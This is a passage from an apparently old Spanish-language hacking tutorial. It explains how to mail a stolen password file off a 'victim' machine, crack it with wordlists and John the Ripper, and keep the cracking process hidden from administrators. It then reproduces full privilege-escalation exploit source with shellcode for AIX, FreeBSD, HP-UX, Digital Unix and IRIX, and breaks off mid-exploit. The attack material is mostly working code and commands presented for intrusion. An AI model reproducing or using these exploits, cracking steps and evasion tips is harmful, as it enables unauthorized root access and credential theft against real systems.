o teneis algun problema extra¤o se puede usar como ultimo recurso maileando

el passwd desde la maquina victima a una cuenta de correo tuya... tiene la

ventaja de que no es nada sospechoso ya que es usual que la gente use el

mail :)... es bastante menos sospechoso ke el ftp :). Esto tambien suele quedar

en algun fichero de logs.

Como veis, estos metodos hay algunos muy chapuceros, pero cuando estas en

una maquina y estas un poco desesperado se hace lo que haga falta jeje.

 

6.4.- COMO SE CRACKEAN

 

Una vez obtenido el fichero passwd y teniendolo en nuestra maquina, ahora se

ha de comentar como se pueden sacar los password y los login.

Como hemos visto, no podemos descifrar un password, pero si que podemos

cifrar palabras con todos los salt posibles y compararlas con la que ya tenemos

cifrada. El tema es que palabras usamos para encriptarlas y comparar... pues

bien se pueden hacer varias cosas, usar listas de palabras ya hechas o

haceros vosotros una. A estas listas de palabras son lo que se denominan los

famosos diccionarios.

Si optas por pillar diccionarios ya hechos.. hay sites que contienen muchas

wordlists ( diccionarios) en casi cualquier idioma que os podais imaginar. Los

sites mas conocidos para estos fines son:

ftp://sun.rediris.es/mirror/sable/wordlists/

http://sunshine.sunshine.ro/FUN/Word_lists/

ftp://ftp.warwick.ac.uk/pub/cud/

ftp://sable.ox.ac.uk/pub/wordlists/

Si prefieres hacerte uno... (es lo que os aconsejo) simplemente te pones

delante del teclado y pones todas las palabras que se te ocurran. El problema

de esto es que el diccionario esta restringido a tus conocimientos o aficiones..

por ejemplo, si no te gusta el futbol tienes un problema ya que mucha gente

pone como password nombres de futbolistas, nombre del novio, de la novia,

insultos, libros, su apellido, etc. Por ejemplo en el mio he puesto las plantillas

de los equipos de futbol mas importantes, lista de ciudades, listas de apellidos

y nombres ,etc. Ademas tened en cuenta que si os haceis un diccionario

vosotros, solo os servira para sites espa¤oles ya que dificilmente sacareis algo

en una maquina de zambia :o)

Otra cosa es que muchas veces coincide el login con el password pero si usais

el john the ripper, esto lo saca el con la opcion -single.

Ademas, os podeis ayudar de algun programa para extraer todas las palabras

de un fichero o utilidades que hay en la red para modificar listas de palabras..

pero eso es otro cantar.

 

6.5.- Que crackeador de password usar.

 

Ahora que ya teneis la lista de passwords y unas cuantas listas de palabras

falta un programa que encripte las palabras y las compare con los passwords

encriptados del fichero de passwords. Para ello hay muchos programas que

podeis usar. Ahora comentare brevemente las caracteristicas de los programas

(y sus nombres, para que los podais buscar por la red), pero antes quiero dar

algunos truquillos para que consigais passwords en menos tiempo.

? Elimina del fichero de passwords todas las lineas cuyo password sea

invalido ("*", "*NOPASSWORD*", etc)

? Ordenad las lineas del fichero de password por los dos primeros

caracteres del password encriptado. Algunos de los programas que

comento ya hacen esto al cargar el fichero de password, pero algunos

no lo hacen. Con estos dos pasos os podeis ahorrar bastante tiempo si

usais estos petadores.

? Aquellos usuarios que tienen el campo de password vacio

(user1::101:1:Manolito:/usr/user1:/bin/sh) no tienen password, asi que

son una cuenta que podeis eliminar del fichero, ya que no os hace falta

petar el password para entrar.

Petadores:

? Cracker Jack 1.4 (JACK14*.*, CJACK. Esta en practicamente cualquier

site de internet dedicado al hacking. Funciona para DOS y para OS/2, y

es bastante rapido. Incluye en el mismo paquete varias utilidades para

tratar listas de palabras.

? Brute 2.00 (BRUTE*.*) Otro petador bastante popular pese a su lentitud.

Creo que existe otra version mas rapida, pero usa un algoritmo de

encriptacion que no es del todo correcto (aunque es mas rapido), y no

pilla todos los passwords que debiera. No he podido localizar ninguna

copia de esa version asi que no la he podido probar. Funciona para

DOS.

? StarCrack 0.64á (STARCRAK*.*) Este es un petador con multitud de

opciones, que permite manipular palabras mientras se prueban. Es mas

rapido que el Cracker Jack, funciona para DOS y es muy completo. Es

bastante nuevo, y ademas es una Beta, o sea que supongo que pronto

saldra alguna version mejorada... :-? Es bastante completo y permite

hacer de todo

? Esta es la homepage del

StarCrack: http://www.chez.com/thes/starcrak.html

? Hades 1.00a (HADES*.*) Otro petador para DOS. Este hace las pruebas

de una forma distinta al resto de petadores. En vez de encriptar una

palabra y comparar con los passwords de todos los usuarios, prueba de

encriptar todas las palabras y compara cada palabra con el password de

un usuario. Una vez ha acabado con un usuario, prueba lo mismo con

otro. Debido a esta forma de actuar, realiza mucha entrada/salida de

disco, lo cual ralentiza el proceso. Sus prestaciones mejoran

notablemente si ordenamos el fichero de passwords por el campo

password encriptado, ya que asi prueba varios usuarios a la vez.

Tambien se puede mejorar su rendimiento teniendo todas las listas

(palabras y passwords) en un disco virtual en memoria.

? Guess 2.1 (GUESS*.*) Petador para DOS, extremadamente lento. Tiene

problemas de memoria si se intenta usar con ficheros de passwords de

mas de 1000 lineas.

? PCUPC 2.01 (PCUPC*.*) Otro petador para DOS. Este tiene problemas

de memoria si se intenta usar con ficheros de passwords de mas de

600/700 lineas.

? Killer Cracker 9.5 (DJKC95*.*, KC*.*) Al igual que el Guess, es un

petador para DOS bastante lento y que da problemas si se usa con

ficheros de passwords de mas de 1000 lineas.

? Xit 2.0 (XIT20*.*) Petador para DOS. Es lo mas lento que me he

encontrado. Como su nombre indica, es una shit! :-)

? HellFire Cracker 1.3 (HC130*.*) Petador para DOS. Necesita 386 con

coprocesador para funcionar, pero por algun extra¤o motivo se cuelga

en mi pentium y en mi 486, asi que no os puedo decir que tal este.

Quizas si teneis un 386 lo podais usar con exito. El programa incluye un

emulador de 387 por si no teneis coprocesador. De todas formas, es un

programa muy antiguo que seguramente no sera muy rapido.

? John the ripper 1.4 (UCFJOHN3*.*) Petador para DOS/Win32/Linux y

cualquier otra cosa, ya que viene con las fuentes. Funciona de una

forma muy similar al Cracker Jack pero incluye mas opciones y es

bastante mas rapido. No tiene tantas opciones como el Star Crack, pero

es bastante mas rapido. Ademas permite un monton de opciones para

tratar las listas de palabras que usais...

? Esta es la homepage del John the

Ripper: http://www.false.com/security/john/

Aqui teneis una comparativa de estos petadores, en la misma maquina y con

los mismos ficheros de passwords y de palabras. Algunos de ellos tardaban

demasiado, y aborte el proceso de petar passwords. En estos casos, calcule el

tiempo estimado que tardarian en acabar en funcion del tiempo que llevaban (1

hora) y las palabras que habian provado hasta el momento. Estos son los

resultados, ordenados por velocidad...

Se comenta ademas el tiempo, las comparaciones por segundo y observaciones:

 

John the ripper 1.4

6'15''

26667c/s

.

 

John the ripper 1.31

6'30''

25641c/s

.

 

John the ripper 1.0

8'05''

20619c/s

.

 

Star Crack 0.64á

9'15''

18018c/s

.

 

Star Crack 0.51á

11'25''

14599c/s

.

 

Cracker Jack 1.4

13'33''

12300c/s

.

 

Cracker Jack 1.3 386

14'55''

11173c/s

.

 

Cracker Jack 1.3 8086

22'22''

7452c/s

.

 

Hades 1.00a

47'05''

3540c/s

.

 

Brute 2.00

(est)59'54''

2782c/s

.

 

PCUPC 2.01

(est)135'37''

1229c/s

Solo soporta ficheros de passwords de menos de 500 lineas.

 

Guess 2.1

(est)141'58''

1174c/s

Solo soporta ficheros de passwords de menos de 1000 lineas.

 

Killer Cracker 9.5

(est)151'12''

1105c/s

Solo soporta ficheros de passwords de menos de 1000 lineas.

 

Xit 2.0

(est)195'37''

852c/s

.

 

Hellfire Cracker 1.3

infinito

0c/s

Se colgo y no pudo ser probado.

Este test fue realizado en un Pentium 133, con 16 Mb de RAM, con los datos

en el disco duro, con una cache de lectura de 2 Mb y sin hacer ningun

preprocesado en el fichero de passwords ni en el de palabras. El fichero de

palabras contenia 10000 palabras y el de passwords 1000 passwords. Tenian

que encontrar 554 passwords.

Algunos de ellos no los deje acabar ya que tardaban demasiado y estime el

tiempo en funcion de lo que habian crackeado hasta el momento de pararlos,

por lo tanto no se si hubieran encontrado todos los passwords. Solo los he

incluido en la comparativa por si alguno de vosotros los usa, para que vea que

hay cosas mejores.

Como se puede ver, el John the ripper encripta casi el doble de passwords por

segundo que el Cracker Jack. He de reconocer que el fichero con el que hize la

prueba parece ser especialmente adecuado para el John the ripper, ya que

20000c/s no se consiguen habitualmente. De todas formas, la comparativa es

significativa de la velocidad a la que se petan passwords con cada uno de los

programas.

Una cosa que me gustaria puntualizar es que aunque el password del root se

puede sacar con este metodo de fuerza bruta, no es demasiado aconsejable y

solo se debe usar para casos in extremis. Esto es asi porque si el root tiene

algo de idea de esto, tendra un passwd un poco raro y no lo podreis sacar

facilmente a no ser que pongais el john en modo incremental ( y esto es una

locura tal como se comentara mas adelante).

Otra historia es si teneis a mano una maquina de donde podais colgar el

proceso con lo que lo podeis colgar de alli y que trabaje el (el problema es que

consume mucha CPU por lo que como el root vea los procesos os pillaran, os

lo mataran y encima estara bajo aviso) por lo que a no ser que tengais acceso

a una maquina que sepais que el root no esta muy al loro, no useis este

metodo, pero buscando y con un poco de suerte al final encontrareis una

maquina con estas caracteristicas.

Para usar el john the ripper suponiendo que el fichero de passwords se llama

passwd se haria:

John -single passwd ------ Asi saca los passwd mas sencillos

John -wordfile:nombrediccionario -rules passwd -:Para emplear un diccionario

John -wordfile:nombrediccionario -rules -users:0 passwd -:Para emplear un

diccionario para sacar el root.

Este programa ofrece muchisimas posibilidades por lo que para mas

informacion leerse los docs que se adjuntan con el propio john the ripper.

 

7.- CONSEGUIR ACCESO DE ROOT

 

En esta seccion voy a explicar tres metodos para conseguir root aunque hay

algunos mas que quiza adjunte en posteriores ediciones. Los que voy a

explicar aqui son la fuerza bruta, los xploits para pillar root y troyanos.

 

7.1.- FUERZA BRUTA

 

En fin, se puede intentar sacar el password del root a partir del fichero

/etc/passwd pero sinceramente es muy dificil ke el root sea tan tordo de tener

un password sencillo aunque funciona aproximadamente un 5% de los casos

que algo es algo ( mi experiencia es ke kada 10-15 makinas sako un password

de root kon fuerza bruta usando solo los diccionarios usuales).

Si no tienes mas recursos para pillar el root, puedes probar a sacar el passwd

de root usando el modo incremental en cualquier crackeador. En el caso del

john the ripper, la sintaxis seria john -i -rules -users:0 ficheropasswd.

He de avisar que el metodo incrementar es una locura, de hecho hay textos por

ahi diciendo que tardaria a¤os en sacar el passwd. Yo solo he probado una vez

este metodo para ver que tal iba y me saco el passwd tras unas 70 horas, pero

tras hablar con gente por ahi.. creo que tuve suerte., es decir que de aqui se

deduce que no vale la pena.. porque tener la maquina en marcha alomejor 100

horas o las que sean es una chorrada cuando se puede rular algun xploit y

pillar el root en 5 minutos :-)

De todos modos, una manera de trabajar seria no dedicar especial atencion al

modo incremental, pero tras sacar algunas cuentas de usuarios normales,

pasar algunos diccionarios con la opcion:

John -wordfile:dict.txt -rules -users:0 passwd

Y si rula, rula que tampoco se pierde tanto tiempo en pasar un par de

diccionarios :o)

Pero en fin, en general el metodo mas rapido es usar un xploit como se

comentara a continuacion aunque puede haber casos en los que el sistema

operativo en el que estais no encontreis xploits (sistemas operativos raros) o

que estos xploits no funcionen por lo que estando muy desesperados podeis

hacerlo asi aunque en el caso de que los xploits no funcionen es ke

posiblemente el root kontrole y no creo que tenga un passwd sencillo, pero en

fin.. nunka se sabe :)

 

7.2.- XPLOITS

 

En esta seccion voy a intentar poner uno de cada sistema operativo de los que

suele haber por ahi y ademas voy a intentar que sean nuevecillos .. pero como

siempre se pueden buscar en la red (siempre tengo el correo abierto para mails

diciendome ftp buenos jeje).

Para entender el funcionamiento de la mayoria de ellos, los famosos buffer

overflow, puedes leer algunos articulillos que hay en la red de Aleph One o

Mudge por poner algunos ejemplos.. opino que valen la pena ;o)

Bueno.. aqui va el rollo de xploits (pongo uno de cada pero aconsejo que

tengais por lo menos 10 de cada sistema operativo porque luego puede pasar

que no tengas uno de una version determinada, que no rule, etc. Ademas

aconsejo que los ordeneis por sistemas operativos en directorios separados y

si eres muy currante los puedes ordenar hasta por versiones del sistema

operativo, pero eso ya es solo para gente ordenada jeje):

No los pongo traducidos ya que creo que es una currada que no sirve para

nada porque son de facil lectura. Ahi van:

 

AIX

 

/* Under AIX 4.2 (probably others) /usr/dt/bin/dtaction does not handle

properly the HOME environment variable and that spawns a root shell. A lot

of other X programs have the same problem and /bin/X11/xlock is well known

to be exploitable.

Tested on AIX 4.2 box.

SOLUTION: #chmod -s /usr/dt/bin/dtaction /bin/X11/xlock

OR apply patches */

/*

AIX 4.2,(others?) dtaction and HOME exploit by Georgi Guninski

----------------------------------------

DISCLAIMER

This program is for educational purpose ONLY. Do not use it without

permission.

The usual standard disclaimer applies, especially the fact that Georgi

Guninski

is not liable for any damages caused by direct or indirect use of

the information or functionality provided by this program.

Georgi Guninski, his employer or any Internet provider bears NO

responsibility for content

or misuse of this program or any derivatives thereof.

By using this program you accept the fact that any damage (dataloss,

system

crash, system compromise, etc.) caused by the use of this program is not

Georgi Guninski's responsibility.

In case you distribute this, please keep the disclaimer and my addresses.

-----------------------------------------

Use the IBM C compiler.

Compile with: cc -g aixdtaction.c

DISPLAY should be set.

SOLUTION: #chmod -s /usr/dt/bin/dtaction ; at least stops root shells

-----------------

Georgi Guninski

guninski@hotmail.com

http://www.geocities.com/ResearchTriangle/1711

Suggestions,comments and job offers are welcome!

10-JUNE-97

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

char *prog="/usr/dt/bin/dtaction";

char *prog2="dtaction";

extern int execv();

char *createvar(char *name,char *value)

{

char *c;

int l;

l=strlen(name)+strlen(value)+4;

if (! (c=malloc(l))) {perror("error allocating");exit(2);};

strcpy(c,name);

strcat(c,"=");

strcat(c,value);

return c;

}

/*The program*/

main(int argc,char **argv,char **env)

{

/*The code*/

unsigned int code[]={

0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,

0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,

0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,

0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,

0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,

0x7c0903a6 , 0x4e800420, 0x0

};

/* disassembly

7c0802a6 mfspr r0,LR

9421fbb0 stu SP,-1104(SP) --get stack

90010458 st r0,1112(SP)

3c60f019 cau r3,r0,0xf019

60632c48 lis r3,r3,11336

90610440 st r3,1088(SP)

3c60d002 cau r3,r0,0xd002

60634c0c lis r3,r3,19468

90610444 st r3,1092(SP)

3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'

6063696e lis r3,r3,26990

90610438 st r3,1080(SP)

3c602f73 cau r3,r0,0x2f73

60636801 lis r3,r3,26625

3863ffff addi r3,r3,-1

9061043c st r3,1084(SP) --terminate with 0

30610438 lis r3,SP,1080

7c842278 xor r4,r4,r4 --argv=NULL

80410440 lwz RTOC,1088(SP)

80010444 lwz r0,1092(SP) --jump

7c0903a6 mtspr CTR,r0

4e800420 bctr --jump

*/

#define MAXBUF 600

unsigned int buf[MAXBUF];

unsigned int frame[MAXBUF];

unsigned int i,nop,mn=100;

int max=280;

unsigned int toc;

unsigned int eco;

unsigned int *pt;

char *t;

unsigned int reta; /* return address */

int corr=3400;

char *args[4];

char *newenv[8];

 

if (argc>1)

corr = atoi(argv[1]);

pt=(unsigned *) &execv;

toc=*(pt+1);

eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )

{

perror("Bad parameters");

exit(1);

}

#define OO 7

*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);

*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);

*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);

*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &

0x0000ffff);

reta=(unsigned) &buf[0]+corr;

for(nop=0;nop<mn;nop++)

buf[nop]=0x4ffffb82;

strcpy((char*)&buf[nop],(char*)&code);

i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)

|| !(reta && 0xff000000))

{

perror("Return address has zero");exit(5);

}

while(i++<max)

buf[i]=reta;

buf[i]=0;

for(i=0;i<max-1;i++)

frame[i]=reta;

frame[i]=0;

/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */

newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);

newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);

newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);

newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);

newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));

newenv[5]=createvar("HOME",(char*)&frame[0]);

newenv[6]=NULL;

args[0]=prog2;

puts("Start...");/*Here we go*/

execve(prog,args,newenv);

perror("Error executing execve \n");

/* Georgi Guninski guninski@hotmail.com

http://www.geocities.com/ResearchTriangle/1711*/

}

/*

-brute-script----------------------------------------------------------

#!/bin/ksh

L=200

O=40

while [ $L -lt 12000 ]

do

echo $L

L=`expr $L + 96`

./a.out $L

done

*/

 

OTRO PARA AIX

 

Existe una vulnerabilidad en el comando lquerypv de AIX. no estoy seguro de

la version.

/usr/sbin/lquerypv -h /etc/security/passwd

Puedes sustituir /etc/security/passwd por cualquier otro fichero que no

podamos leer (que no tengamos permiso de lectura por no ser r00t).

 

 

FREEBSD

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#define DEFAULT_OFFSET 50

#define BUFFER_SIZE 256

long get_esp(void)

{

__asm__("movl %esp,%eax\n");

}

main(int argc, char **argv)

{

char *buff = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

/* so you dont have to disassemble it, here is the asm code:

start:

jmp endofk0dez

realstart:

popl %esi

leal (%esi), %ebx

movl %ebx, 0x0b(%esi)

xorl %edx, %edx

movl %edx, 7(%esi)

movl %edx, 0x0f(%esi)

movl %edx, 0x14(%esi)

movb %edx, 0x19(%esi)

xorl %eax, %eax

movb $59, %al

leal 0x0b(%esi), %ecx

movl %ecx, %edx

pushl %edx

pushl %ecx

pushl %ebx

pushl %eax

jmp bewm

endofk0dez:

call realstart

.byte '/', 'b', 'i', 'n', '/', 's', 'h'

.byte 1, 1, 1, 1

.byte 2, 2, 2, 2

.byte 3, 3, 3, 3

bewm:

.byte 0x9a, 4, 4, 4, 4, 7, 4

*/

 

char execshell[] =

"\xeb\x23"

"\x5e"

"\x8d\x1e"

"\x89\x5e\x0b"

"\x31\xd2"

"\x89\x56\x07"

"\x89\x56\x0f"

"\x89\x56\x14"

"\x88\x56\x19"

"\x31\xc0"

"\xb0\x3b"

"\x8d\x4e\x0b"

"\x89\xca"

"\x52"

"\x51"

"\x53"

"\x50"

"\xeb\x18"

"\xe8\xd8\xff\xff\xff"

"/bin/sh"

"\x01\x01\x01\x01"

"\x02\x02\x02\x02"

"\x03\x03\x03\x03"

"\x9a\x04\x04\x04\x04\x07\x04";

 

int i;

int ofs = DEFAULT_OFFSET;

/* if we have a argument, use it as offset, else use default */

if(argc == 2)

ofs = atoi(argv[1]);

/* print the offset in use */

printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

 

buff = malloc(4096);

if(!buff)

{

printf("can't allocate memory\n");

exit(0);

}

ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)

*(ptr++) = execshell[i];

/* write the return addresses

**

** return address 4

** ebp 4

** register unsigned n 0

** register char *cp 0

** register struct syment *s 0

**

** total: 8

*/

addr_ptr = (long *)ptr;

for(i=0;i < (8/4);i++)

*(addr_ptr++) = get_esp() + ofs;

ptr = (char *)addr_ptr;

*ptr = 0;

execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);

}

 

 

FREEBSD

 

There is a BSD exploit that works on the termcap file. it has some entries

like this.

telnet> env def TERM access

telnet> env def TERMCAP /path/and/name/of/uploaded/file

telnet> open victim.host.com

and the source code is here:

--------SNIP-----

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#define filename "./termcap"

#define entry "access|Gimme r00t:\\\n :"

#define bufsize 1300

#define default_offset 870 /* Should work...*/

char shellcode[] =

"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"

"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"

"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"

"\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

long get_sp(void)

{

__asm__("movl %esp, %eax\n");

}

int main(int argc, char *argv[]) {

int i, fd, offs;

long *bof_ptr;

char *ptr, *buffer, *tempbuf;

offs = default_offset;

if(argc == 2) {

printf("using offset: %d\n",atoi(argv[1]));

offs = atoi(argv[1]);

}

if(!(buffer = malloc(bufsize))) {

printf("can't allocate enough memory\n");

exit(0);

}

 

if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {

printf("can't allocate enough memory\n");

exit(0);

}

bof_ptr = (long *)buffer;

for (i = 0; i < bufsize - 4; i += 4)

*(bof_ptr++) = get_sp() - offs;

ptr = (char *)buffer;

for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)

*(ptr++) = 0x90;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

printf("Creating termcap file\n");

snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry,

buffer);

fd = open(filename, O_WRONLY|O_CREAT, 0666);

write (fd, tempbuf, strlen(tempbuf));

close(fd);

}

--------SNIP------------

 

DIGITAL CON DBX

 

If you run dbx (tested on 3.11.10) on a setuid root program that you have read

access to, the program will core dump and create a root owned 600 perm core

in the current directory. You might have to run dbx one or two times to get it to

work.. The message you are looking for is:

dbx version 3.11.10

Type 'help' for help.

warning: /bin/crontab has no symbol table -- very little is supported

without it

 

Could not attach to process 10112

cannot run program

Exiting due to error during startup

Now, this core dump will follow symlinks.. and using the trick mentioned earlier

with embedding + + in a core dump, you can easily grab root.

ln -s /.rhosts core

BOB42="

+ +

"

export BOB42

dbx /bin/crontab

rsh -l root localhost /bin/sh -i

 

HP-UX

 

/***

*

* HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit.

*

* This bug is exhibited in all versions of HP-UX that contain

* /usr/etc/vhe/vhe_u_mnt setuid to root.

*

* This program written by pluvius@io.org

* The exploit code itself written by misar@rbg.informatik.th-darmstadt.de

*

* I found that the exploit code didn't always work due to a race between

* the child and the parent, and that a link() called failed due to

* the fact that user directories and the /tmp are in different file systems

* so you must create a symlink.

* I added in a call to alarm() so that the timing between the two processes

* is ok..

*

***/

#include <stdio.h>

#include <stdlib.h>

#include <pwd.h>

#include <string.h>

#include <unistd.h>

#include <signal.h>

#include <netdb.h>

#include <sys/wait.h>

#include <sys/stat.h>

#include <sys/utsname.h>

#define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt"

#define NAME "<defunct>"

int test_host()

{ struct utsname name;

uname(&name);

return !strcmp(name.sysname,"HP-UX");

}

int check_mount()

{ struct stat my_buf;

if (stat(BUGGY_PROG, &my_buf))

return 0;

return !((my_buf.st_mode & S_ISUID) != S_ISUID);

}

void pause_handler()

{

signal(SIGALRM,pause_handler);

}

int rhost_user(user)

char *user;

{

struct passwd *info;

char homedir[80];

int fd[2];

int procno;

struct stat my_buf;

int fsize;

info = getpwnam(user);

if (info==NULL) {

fprintf(stderr,"ERROR: Unknown user %s\n",user);

exit(-3);

}

strcpy(homedir,info->pw_dir);

if (homedir[strlen(homedir)-1] != '/')

strcat(homedir,"/");

strcat(homedir,".rhosts");

signal(SIGALRM,pause_handler);

memset(my_buf,0,sizeof(my_buf));

stat(homedir,&my_buf);

fsize = my_buf.st_size;

/* now the exploit code... slightly modified.. but mostly from the source */

/* by misar@rbg.informatik.th-darmstadt.de */

pipe(fd);

if (!(procno=fork())) {

close(0);

dup(fd[0]);

close(fd[1]);

close(1);

close(2);

alarm(2); /* wait for other process */

nice(5);

execl(BUGGY_PROG,NAME,NULL);

} else {

FILE *out;

char listfile[25];

char mntfile[25];

struct stat dummy;

close(1);

dup(fd[1]);

close(fd[0]);

write(1,"+\n",2);

sprintf(listfile,"/tmp/vhe_%d",procno+2);

sprintf(mntfile,"/tmp/newmnt%d",procno+2);

while (stat(listfile,&dummy));

unlink(listfile);

out=fopen(listfile,"w");

fputs("+ +\n",out);

fclose(out);

unlink(mntfile);

symlink(homedir,mntfile);

waitpid(procno,NULL,0);

}

stat(homedir,&my_buf);

return (fsize != my_buf.st_size);

}

void main(argc,argv)

int argc;

char *argv[];

{

int i;

int rhost_root = 0;

char userid[10];

if (!test_host()) {

fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n");

exit(-1);

}

if (!check_mount()) {

fprintf(stderr,

"ERROR: %s must exist and be setuid root to exploit this bug\n",

BUGGY_PROG);

exit(-2);

}

for (i=0;(i<5)&&(!rhost_root);i++) {

fprintf(stderr,"Attempting to .rhosts user root..");

if (!rhost_user("root")) {

fprintf(stderr,"failed.\n");

} else {

fprintf(stderr,"succeeded\n");

rhost_root = 1;

}

}

if (!rhost_root) {

/* failed to rhost root, try user 'bin' */

fprintf(stderr,"Too many failures.. trying user bin...");

if (!rhost_user("bin")) {

fprintf(stderr,"failed.\n");

exit(-4);

}

fprintf(stderr,"succeeded.\n");

strcpy(userid,"bin");

} {

strcpy(userid,"root");

}

fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n",

userid);

}

 

OTRO PARA HP

 

/* SOD /usr/diag/bin/[cm]stm buffer overflow */

main()

{

char buf[500];

strcpy(buf,"\x41\x41\x34\x01\x01\x02\x08\x22\x04\x01\x60\x20\x02\xa6\x60\x20

\x02\xac\xb4\x3a\x02\x98\x34\x16\x01\x76\x34\x01\x02\x76\x08\x36\x02\x16\x0

8\x21\x02\x80\x20\x20\x08\x01\xe4\x20\xe0\x08\x08\x21\x02\x80\x43\x43\x43\x

43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\

x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4

3\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x

43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\

x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4

3\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x

43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\

x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4

3\x43\x43\x43\x43\x43\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x69\x2e\x44\x44\x4

4\x44\x44\x7b\x03\x30\x1b");

execl("/usr/diag/bin/mstm","/usr/diag/bin/mstm","-l",buf,(char *)0);

/* Either-or, same overflow */

execl("/usr/diag/bin/cstm","/usr/diag/bin/cstm","-l",buf,(char *)0);

}

 

 

IRIX 6.2-6.3

 

Irix buffer overflow in /usr/bin/X11/xlock

The exploit as posted works on Irix 6.3. To get it to work on 6.2,

either change OFFSET from 0x118 to 0x160, or pass the program '20' as a

parameter.

Note that the shell spawned as a result of this exploit has uid=0,

euid=youruserid. To make your euid=0 you'll need a program like the

following:

void main(void)

{

setuid(0,0);

execl("/bin/sh", "sh", 0);

}

Regards,

David Hedley (hedley@cs.bris.ac.uk)

------------------- cut here -------------------------

/* /usr/bin/X11/xlock exploit by DCRH 25/5/97

*

* Tested on: R5000 O2 (Irix 6.3)

* R8000 Power Challenge (Irix64 6.2)

*

* For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter

*

* Exploit doesn't work on Irix 5.x due to stack position

*

* compile as: cc -n32 xlock.c

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <unistd.h>

#define NUM_ADDRESSES 800

#define BUF_LENGTH 80

#define EXTRA 190

#define OFFSET 0x118 /* 0x160 for Irix 6.2 */

#define GP_OFFSET 32472

#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */

#define u_long unsigned

u_long get_sp_code[] = {

0x03a01025, /* move $v0,$sp */

0x03e00008, /* jr $ra */

0x00000000, /* nop */

};

u_long irix_shellcode[] = {

0x24041234, /* li $4,0x1234 */

0x2084edcc, /* sub $4,0x1234 */

0x0491fffe, /* bgezal $4,pc-4 */

0x03bd302a, /* sgt $6,$sp,$sp */

0x23e4012c, /* addi $4,$31,264+36 */

0xa086feff, /* sb $6,-264+7($4) */

0x2084fef8, /* sub $4,264 */

0x20850110, /* addi $5,$4,264+8 */

0xaca4fef8, /* sw $4,-264($5) */

0xaca6fefc, /* sw $4,-260($5) */

0x20a5fef8, /* sub $5, 264 */

0x240203f3, /* li $v0,1011 */

0x03ffffcc, /* syscall 0xfffff */

0x2f62696e, /* "/bin" */

0x2f7368ff, /* "/sh" */

};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)

{

char *env[] = {NULL};

u_long targ_addr, stack, tmp;

u_long *long_p;

int i, code_length = strlen((char *)irix_shellcode)+1;

u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

stack = get_sp();

if (stack & 0x80000000) {

printf("Recompile with the '-32' option\n");

exit(1);

}

long_p =(u_long *) buf;

targ_addr = stack + OFFSET;

if (argc > 1)

targ_addr += atoi(argv[1]) * 4;

if (targ_addr + GP_OFFSET > 0x80000000) {

printf("Sorry - this exploit for Irix 6.x only\n");

exit(1);

}

tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) &

~3;

while ((tmp & 0xff000000) == 0 ||

